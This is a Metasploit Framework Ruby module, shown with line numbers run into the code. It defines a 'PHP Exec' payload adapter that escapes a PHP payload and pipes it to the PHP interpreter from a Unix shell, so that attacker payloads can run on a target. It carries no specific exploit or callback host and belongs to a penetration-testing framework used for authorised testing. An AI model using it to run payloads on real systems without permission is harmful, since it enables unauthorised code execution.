Path: blob/master/modules/payloads/adapters/cmd/unix/php.rb
21553 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6include Msf::Payload::Adapter78def initialize(info = {})9super(10update_info(11info,12'Name' => 'PHP Exec',13'Description' => 'Execute a PHP payload as an OS command from a Posix-compatible shell',14'Author' => ['Spencer McIntyre', 'msutovsky-r7'],15'Platform' => 'unix',16'Arch' => ARCH_CMD,17'License' => MSF_LICENSE,18'AdaptedArch' => ARCH_PHP,19'AdaptedPlatform' => 'php'20)21)22end2324def compatible?(mod)25if mod.type == Msf::MODULE_PAYLOAD && mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space26return false27end2829super30end3132def generate(_opts = {})33payload = super3435escaped_exec_stub = Shellwords.escape(Msf::Payload::Php.create_exec_stub(payload))3637if payload.include?("\n")38escaped_payload = escaped_exec_stub39else40# pick the shorter one41escaped_payload = [Shellwords.escape(payload), escaped_exec_stub].min_by(&:length)42end4344"echo #{escaped_payload}|exec php"45end4647def include_send_uuid48true49end50end515253